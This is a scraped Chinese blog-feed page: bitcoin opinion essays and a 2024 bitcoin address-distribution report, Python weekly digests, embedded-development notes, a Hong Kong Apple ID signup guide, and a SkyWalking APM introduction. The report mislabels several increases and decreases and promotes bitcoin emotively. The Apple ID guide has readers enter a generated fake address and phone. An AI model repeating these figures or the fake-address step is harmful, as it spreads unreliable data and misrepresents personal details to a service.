我也理解,每个人的需求和目标不同。有人想赚快钱,有人想学知识,有人只是想看个热闹。这都没问题,关键是你要清楚自己想要什么。如果你只是想赚快钱,那我的内容可能不适合你;但如果你想深入了解比特币,理解它背后的逻辑和风险,那我相信,你会从中找到一些有用的东西。

更何况,我们都是小白,在比特币面前共同成长。

最后,我想说的是,改变从来不是一件容易的事。无论是改变自己的投资观念,还是改变自己的行动习惯,都需要时间和耐心。但只要你愿意迈出第一步,愿意去尝试、去学习、去思考,你就会发现,很多事情并没有想象中那么难。

行动力的本质,就是在不确定中找到确定,在不完美中追求进步。无论时机是否成熟,只要你愿意开始,你就已经走在了成功的路上。

还有,今天发的第二篇,强烈建议你好好看看,这个时代,AI能成就你的一起梦想!!!!(请移步小吴乐意公众号)

比特币问答社区:https://wd.btchao.com

比特币网站导航:https://dh.btchao.com

全网热点动态:https://new.btchao.com

小吴备用微信:btcxwly

by 小吴乐意 at January 07, 2025 09:12 AM

January 06, 2025

meituan

鸿蒙应用签名实操及机制探究

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xaf\xb9\xe9\xb8\xbf\xe8\x92\x99\xe5\x85\xac\xe5\xbc\x80\xe8\xb5\x84\xe6\x96\x99\xe8\xbf\x9b\xe8\xa1\x8c\xe4\xba\x86\xe6\xb7\xb1\xe5\x85\xa5\xe5\x88\x86\xe6\x9e\x90\xe5\x92\x8c\xe8\xa7\xa3\xe8\xaf\xbb\xef\xbc\x8c\xe6\xa2\xb3\xe7\x90\x86\xe4\xba\x86\xe9\xb8\xbf\xe8\x92\x99\xe5\x8d\x95\xe6\xa1\x86\xe6\x9e\xb6\xe5\xba\x94\xe7\x94\xa8\xe7\x9a\x84\xe7\xad\xbe\xe5\x90\x8d\xe6\x9c\xba\xe5\x88\xb6\xef\xbc\x8c\xe6\x8b\x86\xe8\xa7\xa3\xe6\xaf\x8f\xe4\xb8\x80\xe6\xad\xa5\xe7\x9a\x84\xe5\xae\x9e\xe6\x93\x8d\xe8\xbf\x87\xe7\xa8\x8b\xe5\x92\x8c\xe8\x83\x8c\xe5\x90\x8e\xe7\x9a\x84\xe5\xae\x9e\xe7\x8e\xb0\xe5\x8e\x9f\xe7\x90\x86\xef\xbc\x8c\xe5\xb9\xb6\xe5\xaf\xb9\xe6\xba\x90\xe7\xa0\x81\xe5\x88\x86\xe6\x9e\x90\xe6\x95\xb4\xe7\x90\x86\xe7\xad\xbe\xe5\x90\x8d\xe7\x9a\x84\xe6\xa0\xa1\xe9\xaa\x8c\xe6\x9c\xba\xe5\x88\xb6\xe3\x80\x82\xe4\xbb\x8e\xe4\xb8\xad\xe7\xae\xa1\xe4\xb8\xad\xe7\xaa\xa5\xe8\xb1\xb9\xef\xbc\x8c\xe6\x8e\xa2\xe7\xa9\xb6\xe9\xb8\xbf\xe8\x92\x99\xe7\xb3\xbb\xe7\xbb\x9f\xe7\x9a\x84\xe5\xae\x89\xe5\x85\xa8\xe8\xae\xbe\xe8\xae\xa1\xe6\x80\x9d\xe8\xb7\xaf\xef\xbc\x8c\xe5\xb8\x8c\xe6\x9c\x9b\xe8\x83\xbd\xe7\xbb\x99\xe4\xbb\x8e\xe4\xba\x8b\xe9\xb8\xbf\xe8\x92\x99\xe7\xa0\x94\xe5\x8f\x91\xe7\x9a\x84\xe5\x90\x8c\xe5\xad\xa6\xe6\x8f\x90\xe4\xbe\x9b\xe4\xb8\x80\xe4\xba\x9b\xe5\x80\x9f\xe9\x89\xb4\xe3\x80\x82'

by 美团技术团队 at January 06, 2025 12:00 AM

January 04, 2025

xiaowuleyi

2009-2025,比特币16岁生日快乐


如果按照人类时间来计算,今天,也就是2025年1月4日(北京时间),才是比特币正好16岁的生日。因为2009年1月3日比特币主网正式上线的时间不是北京时间,如果要按照北京时间算,比特币主网正式上线的时间是2009年1月4日。

不过这个不重要,因为比特币里面没有时间的概念,只有区块。比特币的系统里已经超越了时间的概念,从0区块开始,一直延伸下去,只要还有1台矿机在工作,只要还有1台电脑在运行,比特币将永远存在。

2009年到2025年,这个世界已经翻天覆地换新颜,有的越来越好了,有的越来越差了。每个人都被这个时代裹挟向前,或被迫或主动,适应着这场由技术、经济和社会变革交织而成的洪流。

有的人选择拥抱变化,有的人选择抵抗,有的人甚至选择逃避。但比特币的存在,就像一盏灯,照亮了一条不同的道路。它不在乎时间的流逝,也不在乎世俗的评价;它只在乎那一笔笔交易的真实性和透明性,只在乎那一个个节点的参与和验证。

这个时代的确变化得太快,快得让人喘不过气。技术在进步,经济在波动,社会在分裂。我们似乎拥有了比过去更多的选择,但也更容易迷失方向。在这样的时代,比特币的意义,或许并不仅仅是一种资产,它更像是一种希望,一种宣言——告诉我们,个体可以在系统之外找到属于自己的力量和位置。

从今天的区块追回到比特币的第0号区块,上面还记录着中本聪的“留言”,这句话永远的刻在了比特币的网络之中,凝聚在所有人的共识之中,甚至比刻在石头上的文字更能永久的留存下去。

“The Times 03/Jan/2009 Chancellor on brink of second bailout for banks.” (2009 年 1 月 3 日,财政大臣正处于实施第二轮银行紧急援助的边缘)

这一行文字,是比特币的起点,也是中本聪借用事实给世界提出的思考题,而答案已不言而喻。

比特币的白皮书就是最好的答案,它不是冗长的论文或激昂的宣言,而是通过一行行简洁的文字和一段段精妙的代码。它告诉我们,技术可以重塑信任,个体可以摆脱对中心化机构的依赖,金融可以变得更加透明和公平。比特币的诞生,不仅是对传统金融体系的挑战,更是对一种全新可能性的探索。

中本聪留下的这行文字,就像一颗种子,埋在了比特币的创世区块中。随着时间推移,这颗种子生根发芽,长成了一片去中心化的森林。每一笔交易、每一个区块、每一台矿机,都是这片森林的一部分,共同构筑起一个无需信任第三方的金融体系。

中本聪没有直接告诉我们未来会怎样,但他用行动和代码为我们指明了一条道路。而这些代码,正是这条道路的起点。它提醒我们,问题的答案往往就藏在问题本身之中——当我们质疑现有体系的缺陷时,新的可能性已经在悄然孕育。

比特币的故事,正是从这行文字开始的。而它的未来,将由每一个参与者共同书写。

1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa,这是比特币网络的第一个地址,被称为“创世地址”。更可以100%确认,这绝对是中本聪的比特币地址。虽然现在中本聪依然没有现身,但这个地址已经成为无数人心中的“圣地”。

这个地址中存有50枚比特币,它们是比特币网络诞生时挖出的第一笔奖励。尽管这些比特币从未被移动过,但它们的存在就像一座灯塔,提醒着所有人比特币的起点。这个地址不仅仅是一个钱包,它更像是一个时间胶囊,封存着中本聪的愿景和比特币最初的纯粹。

也有很多人会给这个地址发送比特币,算是另一种充满精神寄托的仪式感。我也曾经是其中一员,曾经每年的1月4日我都会发送当时价值1美元的比特币到“创世地址”。

现在这个地址里一共有100枚以上的比特币,均来自比特币网络的其他用户。甚至可以说,发送到这个地址的比特币,几乎等于被“销毁”。

许多人曾试图破解这个地址的秘密,甚至有人猜测中本聪会在未来的某一天动用这些比特币。但无论外界如何猜测,这个地址始终静静地躺在区块链上,仿佛在诉说着一个未完成的故事。它的存在,既是对比特币历史的见证,也是比特币安全性的绝佳参考,更是对未来的某种隐喻——比特币的命运,终究掌握在每一个参与者手中。

一个冷知识,你甚至可以访问https://1a1zp1ep5qgefi2dmptftl5slmv7divfna.com这个网站,看到比特币的白皮书依然贴在上面。也算是另一种赛博朋克风格的致敬。这个网站是我做的

比特币的故事,远未结束;它的意义,远超想象。它不仅是技术的奇迹,更是人类对自由与信任的永恒追求。正如那行刻在创世区块中的文字,它将永远提醒我们:问题的答案,往往就藏在问题本身之中。而比特币,正是这个时代最深刻的答案。

by 小吴乐意 at January 04, 2025 03:05 AM

pythoncat

Python 潮流周刊#84:2024 年 Python 的最佳实践

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,全文 2200 字。
以下是本期摘要:
① 现代 Python 开发的良好实践
② 2024 年最先进的 Python
③ 回顾一年:2024 年的 Flask
④ 介绍 Annotated Logger:一个在日志中添加元数据的 Python 包
⑤ 用 Cowboy 调试 Python 内存泄漏
⑥ 使用 shiv 将 Python 项目打包成一个可执行文件
⑦ PyPI 的项目隔离功能
⑧ 使用 VS Code 和 Sentry 调试 Python—Debugging Python with VS Code and Sentry
⑨ 使用 Solara 开发 Jupyter 仪表板
⑩ 用于临时分析的一次性 Python 环境
⑪ Python:使用 sys.monitoring 监视变化
⑫ 实现与扩展:Boids 算法的应用
① enlighten:Python 控制台程序的进度条增强
② migrate-to-uv:将项目从 Poetry/Pipenv 迁移到 uv
③ minimalistic-fastapi-template:简单但健壮的 FastAPI 项目模板
④ minimind:3 小时完全从 0 训练 26 M的小参数 GPT
⑤ adrf:Django REST 框架的异步支持
⑥ FastVideo:用于加速大视频模型的开源框架
⑦ codegate:AI 编程助手的隐私与安全
⑧ shrlnk:随心所欲定制短链接
⑨ dutch_vocabulary:每天自动发邮件学外语
⑩ mixbox:基于真实颜料的自然色彩混合库
⑪ Kats:用于分析时间序列数据的工具包
⑫ ajenti:模块化的服务器管理面板
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 84 期周刊的全文: https://www.xiaobot.net/post/f44ab50a-5019-4d84-8b92-c005123fe052
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

January 04, 2025 12:00 AM

January 03, 2025

xiaowuleyi

能睡好觉,学会AI,有一点比特币,足矣

前几天拿自己的电脑本地搭建了ai,当然对比GPT4.0还是差很多。所以后台咨询我如何搭建的小伙伴,还是去试试GPT4.0吧。

如果你的网络环境无法使用,那就试着用国产的一些服务吧。千万别问我哪个更好,倒不是说我不告诉你,因为AI好不好,取决于你干什么?以及最后你认不认可它的结果。

一定要多横向对比,拿一个问题甚至几个问题,以及系列问题与AI多聊聊。看看哪一个更合你的心意,再说选AI又不是选女朋友,不喜欢就换一批,哈哈哈哈哈。

这次我之所以提到,睡觉,AI,比特币。其实这背后的本质就是,健康,技术,财富,缺一不可。没有健康,一切都白扯;没有财富,前方的路就比较艰难;没有技术,那就是新时代的“土鳖”。

你说健康难吗?不难啊,你只要保证好好睡觉,这就是人这个生物的“万能神药”。你就想这么一个道理,人类进化这么多年,为什么每天必须睡觉这个需求保存下来了?而且每天睡觉的时间几乎占据人类每天的三分之一。

一定是睡觉这件事情,收益层面高于去打猎的时间价值。如果你看之前我推荐的那本《为什么睡觉》,你就会明白,人的大脑正是在睡觉的时候才开始清理的垃圾,强化认知能力。

而认知能力,在以前和现在甚至是未来,都是决定个人生存的最基本前提。况且,睡眠的时候,身体也会被细胞修复,劳累的各种器官得以喘息。以便于第二天继续去为了生活,为了生存而“努力”。

关于睡眠的重要性,不论怎么强调都不为过。甚至说,你可以没有性生活,但不能没有好睡眠。请注意,是好睡眠,核心在好字。至于怎么去理解“好睡眠”,请移步阅读《为什么睡觉》这本书。

关于AI,不知道你现在是否已经在用,或者说用到什么程度。我们不分高下,也不分对错,只要你在用,那就是一个好的开始。而且这,也才刚刚开始而已,真正的AI时代,远没到开始启航的地步。

很多人总是焦虑,担心错过了AI,但真正的AI发力期还尚未开始。不管我们现在看到有多么强大的模型,以及各种牛逼哄哄的硬件产品。这些都是开餐前的小菜而已,吃两口尝尝咸淡,大餐还在后厨制作中。

甚至我不认为Openai是所谓地表最强的AI领头羊,不夸张的说,目前我们看到的这些AI公司,绝大多数活不到真正的AI时代到来的那天。你也大可不必以为自己又错过了,开始产生焦虑。

细究起来,它们大多还在 “依葫芦画瓢”,靠着海量数据堆砌出的经验来回应外界。真正拥有类人思维、能深度理解复杂情境、创造性解决棘手难题的 AI,依旧隐匿在技术的迷雾深处。

这也就是我前面优先级最高提到为什么你要好好睡觉,有一个健康的身体。AI成长速度会远超人类想象,医疗技术的进步会极大地颠覆我们现有的认知。

举一个不恰当的例子,在AI面前,下围棋不讲套路,只讲算法。同样,在医学领域也一样,未来AI不看病例,不看经验,只看基因。还记得我之前说的,扁鹊的故事吗?

https://mp.weixin.qq.com/s?__biz=MjM5NDQxOTEyMQ%3D%3D&mid=2649765970&idx=1&sn=d9cc900a6d19a94f08fe59ddef8be5d1&scene=21#wechat_redirect

医院现在治疗的都是当下身体发生的疾病,而当下的疾病都是因为过去积累而成,或者偶尔有突发情况。但这些如果用AI来判断,无非是概率问题,你的基因决定了你会的什么病,可能的什么病,以及绝对不可能得什么病。

什么医疗方案,什么治病经验,老中医统统下岗,未来医院不是高楼大厦,全部拆散,直接搞成社区便利店一样的小房间。进去3分钟,吐个口水,或者抽几滴血。半天以后过来拿针对你基因定制的药品,或者定制的食谱,照着吃就行。

得,又扯远了图片。我想说的,AI不是当下几个大模型,回答的花里胡哨的样子。真正的AI革命,将是一次认知范式的跃迁,它会重新定义我们对知识、智慧,甚至是生命本身的理解。

哲学家维特根斯坦所说:“语言的界限,就是世界的界限。” 而AI正在突破这种界限,它不仅让我们重新审视语言的边界,也让我们开始质疑思维的本质。AI的崛起,是对人类认知边界的一次挑战和延展。

未来,AI不仅会重新塑造医疗、教育、金融和交通等领域,还将深刻影响我们的哲学、伦理观念,甚至我们的自我认知。回到睡眠这个话题——为什么我们必须重视健康?因为AI越强大,我们就越需要强健的身体和清晰的头脑,去理解、驾驭并与之合作。

“想象力比知识更重要。” AI或许有数据和算法,但真正赋予它灵魂的是人的想象力和创造力。而保持这些能力的基础,是睡眠,是健康,是持续不断的学习与探索。

结尾在说两句比特币。

财富是结果,更是动力。财富从来不是目的,而是过程中的副产品。我们追求财富,是为了获得自由,是为了抵御风险,也是为了延展生命的边界。

我们需要健康的身体去支撑技术的发展,也需要技术去创造财富,最终再用财富去为健康兜底,这三者形成了一条循环上升的螺旋。而比特币和AI,分别是这条螺旋上最新的技术节点和财富节点,它们既是工具,也是符号,指向未来的某种可能。

这三者共同描绘了一幅未来的画卷——一个技术主导、财富重塑、认知进化的新时代。

但请记住,每一场革命,都是以人开始,以人结束的。无论AI多么强大,无论比特币多么稀缺,最终它们都服务于人。而你,作为人类的一份子,必须先照顾好自己的身体,才能真正掌握未来的钥匙。

所以,好好睡觉,保持清醒。技术和财富会变,但健康是你唯一不可替代的本钱。就像投资比特币一样,要长远规划,短期波动只是过程,而真正的财富,属于那些拥有耐心和眼光的人。

今天的你也许会感谢五年前囤币的自己,而未来十年后的你,一定会感谢今天好好睡觉的自己。

请,好好活着!

比特币问答社区:https://wd.btchao.com

比特币网站导航:https://dh.btchao.com

by 小吴乐意 at January 03, 2025 03:32 AM

December 31, 2024

howiehz

2024 年终总结 & 博客一周年

谨以此文记录我平凡但独一无二的 2024 学习生活 生活 计算机上那些事 博客 有关博客的简单感想 统计图表 趣闻 开源

by HowieHz at December 31, 2024 05:52 PM

xiaowuleyi

《比特币2024年度分析报告》

再次提醒,在中国大陆境内目前提供交易比特币是违法行为(持有比特币合法),切勿盲目相信任何人,包括我。


这是2023年12月31日,比特币持币分布情况


这是2024年12月30日,比特币持币分布情况

在2023年12月31日,比特币价格是42173美元。1年后的今天,2024年12月30日,比特币价格是93304美元,2024年涨幅达到了121%。再按照比特币分布地址统计情况,我们来整理分析一下。

按照比特币地址数量变化情况可以看出:

一、小额持有地址(0 - 0.0001 BTC)
地址数量

2023 年 12 月 31 日有 399307 个地址。

2024 年 12 月 30 日增加到 620584 个地址。

变化:增加了 221277 个地址,增长率为 (620584 - 399307) / 399307 ≈ 55.41%。

比特币持有量

2023 年持有 21.04 BTC。

2024 年持有 35.61 BTC。

变化:增加了 14.57 BTC,增长率为 (35.61 - 21.04) / 21.04 ≈ 69.25%。

ai分析

小额持有地址数量和比特币持有量都有显著增长。这可能表明有更多新用户进入比特币市场,开始少量持有比特币,或者是现有小额持有者在逐步增加他们的持有量。

二、较小额持有地址(0.0001 - 0.01 BTC)
地址数量

2023 年有 10068769 个地址。

2024 年增加到 11330901 个地址。

变化:增加了 1262132 个地址,增长率为 (11330901 - 10068769) / 10068769 ≈ 12.54%。

比特币持有量

2023 年持有 434.05 BTC。

2024 年持有 476.82 BTC。

变化:增加了 42.77 BTC,增长率为 (476.82 - 434.05) / 434.05 ≈ 9.85%。

ai分析

地址数量和比特币持有量都有一定增长,但增长率低于小额持有地址。这可能意味着这一区间的用户也在缓慢增加他们的比特币持有量,但增长速度较为平稳。

三、中等额持有地址(0.01 - 0.1 BTC)
地址数量

2023 年有 12342460 个地址。

2024 年减少到 11566427 个地址。

变化:减少了 776033 个地址,减少率为 776033 / 12342460 ≈ 6.29%。

比特币持有量

2023 年持有 4495 BTC。

2024 年持有 4238 BTC。

变化:减少了 257 BTC,减少率为 257 / 4495 ≈ 5.72%。

ai分析

地址数量和比特币持有量都有所减少。这可能表明部分中等额持有者在出售他们的比特币,或者是这些持有者的比特币数量减少到了更小的区间。

四、较中等额持有地址(0.1 - 1 BTC)
地址数量

2023 年有 3560615 个地址。

2024 年减少到 3472483 个地址。

变化:减少了 88132 个地址,减少率为 88132 / 3560615 ≈ 2.47%。

比特币持有量

2023 年持有 1100472 BTC。

2024 年持有 1072300 BTC。

变化:减少了 28172 BTC,减少率为 28172 / 1100472 ≈ 2.56%。

ai分析

地址数量和比特币持有量都略有减少。可能是部分较中等额持有者在减少他们的比特币持有量。

五、中大额持有地址(1 - 10 BTC)
地址数量

2023 年有 868707 个地址。

2024 年减少到 840533 个地址。

变化:减少了 28174 个地址,减少率为 28174 / 868707 ≈ 3.24%。

比特币持有量

2023 年持有 2158092 BTC。

2024 年持有 2088455 BTC。

变化:减少了 69637 BTC,减少率为 69637 / 2158092 ≈ 3.23%。

ai分析

地址数量和比特币持有量都有一定程度的减少。这可能表明部分中大额持有者在出售他们的比特币。

六、大额持有地址(10 - 100 BTC)
地址数量

2023 年有 139363 个地址。

2024 年增加到 134359 个地址。

变化:减少了 5004 个地址,减少率为 5004 / 139363 ≈ 3.59%。

比特币持有量

2023 年持有 4427854 BTC。

2024 年持有 4304039 BTC。

变化:减少了 123815 BTC,减少率为 123815 / 4427854 ≈ 2.79%。

ai分析

地址数量和比特币持有量都略有减少。这可能意味着部分大额持有者在减少他们的比特币持有量。

七、很大额持有地址(100 - 1000 BTC)
地址数量

2023 年有 13904 个地址。

2024 年减少到 15670 个地址。

变化:增加了 1766 个地址,增长率为 1766 / 13904 ≈ 12.70%。

比特币持有量

2023 年持有 4462590 BTC。

2024 年持有 4462950 BTC。

变化:增加了 360 BTC,增长率为 360 / 4462590 ≈ 0.08%。

分析

地址数量有一定增长,但比特币持有量增长极少。这可能表明新加入了一些很大额持有者,但他们的平均持有量较低。

八、极大额持有地址(1000 - 100000 BTC)
地址数量

2023 年有 102 个地址。

2024 年增加到 1958 个地址。

变化:增加了 1856 个地址,增长率为 1856 / 102 ≈ 1819.61%。

比特币持有量

2023 年持有 2275071 BTC。

2024 年持有 4592140 BTC。

变化:增加了 2317069 BTC,增长率为 2317069 / 2275071 ≈ 1018.46%。

ai分析

地址数量和比特币持有量都有巨大增长。这可能表明有新的极大额持有者进入市场,或者是现有极大额持有者在大量囤积比特币。

目前按照最新的比特币地址以及持仓分布情况来分析,可以得出如下结果:

持有 0.0001 BTC 超过约 11.03% 的人群。

持有 0.001 BTC 超过约 31.15% 的人群。

持有 0.01 BTC 超过约 54.37% 的人群。

持有 0.1 BTC 超过约 74.92% 的人群。

持有 1 BTC 超过约 88.72% 的人群。

持有 10 BTC 超过约 95.07% 的人群。

持有 100 BTC 超过约 96.81% 的人群。

以上为事实,以下为个人偏激的煽情表演图片

“那些没有杀死我的,将使我更强大。”——尼采

在市场波动与质疑声中,比特币再次证明了自己的韧性与价值,吸引了无数新旧力量的汇聚。2024年,不仅是价格腾飞的一年,更是比特币发展史上里程碑式的一年,10万美元只是一个新的开始。

2024年1月,比特币现货ETF正式获批,传统资本与机构资金蜂拥而入,彻底打破了市场边界,让比特币成为全球资本市场的“正规军”。这一事件,不仅推动了价格飙升,更向世界宣告,比特币已从边缘资产蜕变为主流金融体系的重要一环。

2024年7月,美国政府多次公开讨论将比特币纳入国家战略储备的可能性。尽管争议不断,但市场的反应却异常狂热——全球信心空前高涨,资金流入加速。比特币从“数字黄金”的称号,开始向“未来央行储备资产”的角色迈进。

与此同时,全球监管框架逐步完善,稳定币政策趋于明朗,为比特币生态系统提供了更广阔的发展空间。主权基金、上市公司以及对冲基金纷纷加码,链上数据显示,极大额地址数量增长高达1819.61%,持仓量增长超过1018%。

2024年12月,比特币达到10万美元。


而这一切的背后,是越来越多的人意识到——“财富并非掌控在银行账簿上,而是存在于不可篡改的代码里。”

小额地址的激增,意味着更多普通人迈出了第一步,参与到这场划时代的金融革命中;而极大额地址的爆炸式增长,彰显着资本市场对比特币未来的高度认可。这不仅仅是一场关于金钱的竞赛,更是一场信仰与远见的博弈。

“站在时间的长河里,你终将发现,最珍贵的不是手中的筹码,而是敢于下注的勇气。”(此段过于煽情,请控制一下)

2024年,我们见证了比特币在时代洪流中的沉浮与升腾。2025年,比特币是否会继续书写传奇?没有人知道。但正如航海家不会因狂风而停泊,梦想家也不会因未知而止步。

让恐惧退场,让信仰登场。比特币的下一站,星辰大海。我们,终将在更高山相见!

by 小吴乐意 at December 31, 2024 03:26 AM

December 30, 2024

agen233

博通编译脚本和编译器找不到相关文件

之前学习博通的时候,一直是在Windows克隆的代码,然后复制到共享文件夹中进行操作,修改文件后,在linux下进行编译,进而出现了编译脚本找不到部分文本文件的情况。

实际上这和Linux是LR换行而Windows是CRLR换行有关系,在Windows上Git的时候,会导致原本LR换行的文件被自动转换为CRLR,而Linux原生支持LR且不兼容CRLR,于是编译器不停报错,先是提示换行符,后压根没有错误信息,误导性比较强。
一劳永逸的方法是,在全程在Linux操作,在Linux克隆,在Linux编译,最后需要烧录了,再把bin拷贝出来,在Windows进行烧录操作。

但是在Linux下无论是直接用vim还是Vscode

December 30, 2024 01:37 PM

上手GY-30(BH1750)光强度传感器和相关程序代码

最近在写比赛的文档的时候,写到了BH1750的参数之类的,于是想着想都想了,不如写下来玩玩。
emmmm,这边用的是STM32F103C8T6的芯片的标准库,其他MCU也大同小异,如果是用hal库就更好了,无需管GPIO口初始化那堆零碎的事情了。

模块和芯片

而BH1750是一款数字型的光强传感器片上集成芯片,采用标准I2C总线协议与MCU进行链接。

GY-30模块的实质是BH1750,只是把外围诸如滤波和电容之类的电路整合进去了而已,其实都是用的BH1750芯片。

BH1750内部电路是由:光敏二极管、运算放大器、AD转换器等组成。光敏二极管通过光伏效应接收光信号产生电信号,经过运算放大后,由AD转换器采集电压数据并转换为数字信号,然后储存在寄存器之中。BH1750支持完全的I2C协议,使用I2C总线发送特定的控制位,即可读取光强度数据,亦可以修改BH1750的采集模式。

BH1750内部

December 30, 2024 01:18 PM

December 29, 2024

nbmao

港区Apple ID注册流程

步骤一(浏览器操作):

1.使用浏览器访问 https://appleid.apple.com, 点击右上角创建您的 Apple ID链接,打开注册页面

1

2.填写姓名、出生日期、邮箱、密码等信息,国家或地区选择香港, 填写待验证的手机号码,如无香港手机号码,可以选择并填写中国大陆手机号码。

2

3.根据图片提示,填入验证码,然后点击下方继续按钮进入下一步。

3

4.查看电子邮箱获得邮箱验证码,并填入文本框中,点击继续

4

5.填入手机验证码到文本框中,点击继续

5

6.验证成功。

6


步骤二(手机AppStore操作):

1.手机打开AppStore,使用新注册的AppleId登陆

qrcode

2.输入手机验证码验证

qrcode

3.在弹出来的弹框中,选择检查

qrcode

4.在下一个页面中,打开同意条款与条件选项开关

qrcode

5.注意在该页面中,如果没有付款的需求,千万不要选择付款方式,否则会无法消除选项,需要退出再登录才能消除。

付款人姓名保持原样,然后在下方填入香港账单地址和电话(街道地址和电话可在https://www.meiguodizhi.com/hk-address生成)。

填完后点击右上角的下一页

qrcode

6.注册完成。

qrcode

by 笨猫 at December 29, 2024 12:31 PM

December 28, 2024

pythoncat

Python 潮流周刊#83:uv 的使用技巧

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。周刊开源在 Github 上,喜欢请给颗小星星支持下~
本期分享了 12 篇文章,12 个开源项目,2 则热门讨论,全文 2300 字。

🦄文章&教程

文章分享了uv工具的一些实用的技巧,包括在不污染虚拟环境的情况下临时添加依赖、创建几乎独立的脚本、快速测试和运行 Python 工具、运行一次性的 Python 工具、清理 uv 缓存。
内容分发网络(CDN)可提升网站访问速度,作者通过自建 CDN 实现博客平均响应时间从 807 毫秒降到 189 毫秒。文章详细介绍了网络架构、服务器配置、TLS 证书管理以及如何使用 GeoDNS 来最小化访问延迟。
2024 年 Python 开发者工具的最新趋势和最佳实践有什么?作者分享了一些反模式问题、推荐做法和工具,包括 uv、ruff、Mypy、Pytest、Cookiecutter 和 Cruft 等。
作者在两年前遇到一个多线程 bug,分析代码找到了疑似原因,尽管没复现,但解决了该问题。然而,两年后又出现同样的问题,这次深入调试,终于找到根本原因并可靠复现,真正地解决了这个棘手的 bug。
如何用 Python 实现比特币交易?文章介绍了加密货币概念、比特币的交易机制,如何用 Python 实现用加密技术创建、签署和广播比特币交易。
作者认为 Poetry 作为构建工具时很反直觉和容易出错,文章指出了它的常见问题,包括梦魇般的取地址运算符、误导性的 include 键和薛定谔般的可选依赖项。
关于 Python 打包的系列文章第一篇,讨论了 Python 打包的现状、存在的问题以及如何应对这些问题。讨论了包名与导入名不一致问题、依赖地狱和安装失败的问题,强调了虚拟环境的重要性。
__pycache__文件夹和.pyc文件有什么作用?如何合理利用 Python 的字节码缓存机制,来提升应用性能?
作者开发了个网站,可展示和搜索所有 UUID,文章介绍了几个主要挑战及解决方案,包括浏览器渲染限制、UUID 生成顺序和全搜索功能。
Python 的数据类相当酷,但它们的实现机制是什么呢?文章试图向我们解释清楚这里面的门道,包括 __annotations__ 、exec、自定义数据类装饰器、以及 frozen 参数等内容,帮助读者更好地理解数据类的工作原理。
符号执行(Symbolic Execution)是一种软件测试和分析技术,通过将程序的输入表示为符号(而不是具体值)来执行程序。文章介绍了一种将 Python 不可重载语法变得可重载的方法,不需修改编译器,而是用元编程技术将 Python 代码转化为 Z3 表达式。
如何在 Python 的 FastAPI 应用中实现类似 cron 定时任务的功能?作者利用了 FastAPI 的异步特性创建后台任务,避免了写单独的脚本和 CLI 命令,并且不需要在容器外允许任务。

🐿️项目&资源

让 AI 代理轻松与浏览器交互,支持视觉+HTML 提取、自动多标签管理、提取 XPath 并作精确的 LLM 操作、支持自定义操作、自纠正、支持 LangChain、并行化尽可能多的代理。(star 7.2K)
字节开源的一个用于大规模推荐模型的深度学习框架,建立在 TensorFlow 上,支持批量/实时训练和部署。(star 3.7K)
整合了不同开源项目的资源,包含了查询苹果 FindMy 设备所需的所有功能,提供了统一的基础组件。跨平台、获取并解密位置、扫描附近的 FindMy 设备。(star 1.5K)
Python 开发的小工具,整理了 137 个不同表情符号,让你用键盘快捷键快速插入表情。仅适用于 Windows。
小米官方提供的集成组件,可让你在 Home Assistant 中使用小米 IoT 智能设备。(star 15.4K)
Konfig 是一家专注于使 API 集成更简单的开发者工具创业公司,现在开源了其所有产品代码、文档资源和其它副产品。(star 1.2K)
一个利用了 AI 技术的智能英语生词本工具,能帮你快速构建起自己的英语生词库。独创的高效生词收集模式,通过有趣的故事模式、测试模式助你掌握生词。
专门为机器人/嵌入式 AI/物理 AI 应用而设计的物理平台,是一种全新的通用物理引擎、机器人仿真平台、真实感渲染系统、生成式数据引擎。(star 19.8K)
微软开源的离散提示词优化框架,具有自我优化机制,关键组件:以反馈驱动优化、评价并综合多样化的例子、自生成思维链步骤。(star 1K)
从 iMessages、Twitter 书签、ChatGPT、Gmail 和 LinkedIn 等应用中导出你的个人数据,提供了一个 Python SDK 和一个桌面应用程序。(star 1.3K)
收集了大量用 OpenAI、Anthropic、Google 家大模型以及 LLaMA 开源大模型开发的应用,从优秀的项目中学习 AI 在不同领域的应用。(star 9.8K)
Hiccup 语法的 Python 实现,用 Python 的 list 或 tuple 来表示 HTML 元素,用 dict 来表示元素属性。旨在使 HTML 渲染程序化、简单且易于阅读。

🥂讨论&问题

对今年 Python 库/工具的年度精选推荐,包含通用类与 AI/ML/数据类,共 20 个。
Python 中的连续赋值操作“a=b=c”,结果可能跟你想象的不太一样!

🐧 往年回顾

🐱欢迎订阅

技术周刊是聪明人在信息过载时代中筛选优质知识的聪明手段。这是一个专为国内 Python 开发者量身打造的资讯平台,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等丰富内容。立即订阅,每周将收到一篇文章推送,每周进步一点点。
欢迎留言,说说你最喜欢本期的哪一则分享?大家反馈得越多,我今后分享的也会越多!
欢迎将本专栏分享给同样爱学习的同学,当有人通过你分享的海报或者链接,购买了专栏,那么你将获得 50% 的返利。

December 28, 2024 12:00 AM

December 26, 2024

waylau

使用SkyWalking实现应用性能监控

应用性能监控(Application Performance Monitor,简称APM),提供应用性能监控管理、微服务监控、K8S监控等服务,透视性能瓶颈,追踪问题根源,提升用户体验。本文介绍了常见的APM产品、选型原因及应用接入方式。

一、常见的APM产品

目前市面上常用的开源APM产品主要是SkyWalking和Prometheus。

SkyWalking

SkyWalking是一个开源的应用性能监控(APM)系统,尤其针对分布式系统的微服务架构。

功能特点:

  • 性能监控:SkyWalking可以收集应用程序的运行时数据,包括调用链、响应时间、吞吐量等指标,帮助用户了解应用程序的性能状况。
